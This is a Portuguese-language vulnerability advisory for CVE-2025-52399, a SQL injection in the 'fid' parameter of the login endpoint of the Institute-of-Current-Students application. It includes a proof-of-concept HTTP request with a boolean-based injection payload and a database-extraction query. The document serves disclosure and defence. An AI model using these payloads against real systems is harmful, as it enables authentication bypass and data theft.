CVE-2025-52399 - Injeção SQL no Institute of Current Students

Resumo

O endpoint loginlinkfaculty na aplicação Institute-of-Current-Students é vulnerável a Injeção SQL através do parâmetro POST fid. O parâmetro não é devidamente sanitizado antes de ser usado numa consulta SQL, permitindo que atacantes remotos executem comandos SQL arbitrários.

• Tipo de Vulnerabilidade: Injeção SQL
• Componente Afetado: /loginlinkfaculty (POST)
• Parâmetro Afetado: fid
• Autenticação: Não necessária
• Impacto: Bypass de autenticação, extração de dados
• Testado em: Localhost
• Base de Dados: icsnew
• Versão: 1.0

PoC

Requisição HTTP

http POST /Institute-of-Current-Students/loginlinkfaculty HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded

fid=-1'+OR+321=6+AND+000942=000942--&pass=example

Resultado do Payload

✅ -1' OR 3*2*1=6 AND 000942=000942 -- → VERDADEIRO ❌ -1' OR 2*3=4 AND 000942=000942 -- → FALSO

Extração da Base de Dados

SELECT database(); -- retorna 'icsnew'

Referências

• CVE-2025-52399 (MITRE)
• Aplicação Vulnerável
• OWASP SQL Injection

Descoberto por

Isroil Mustafoqulov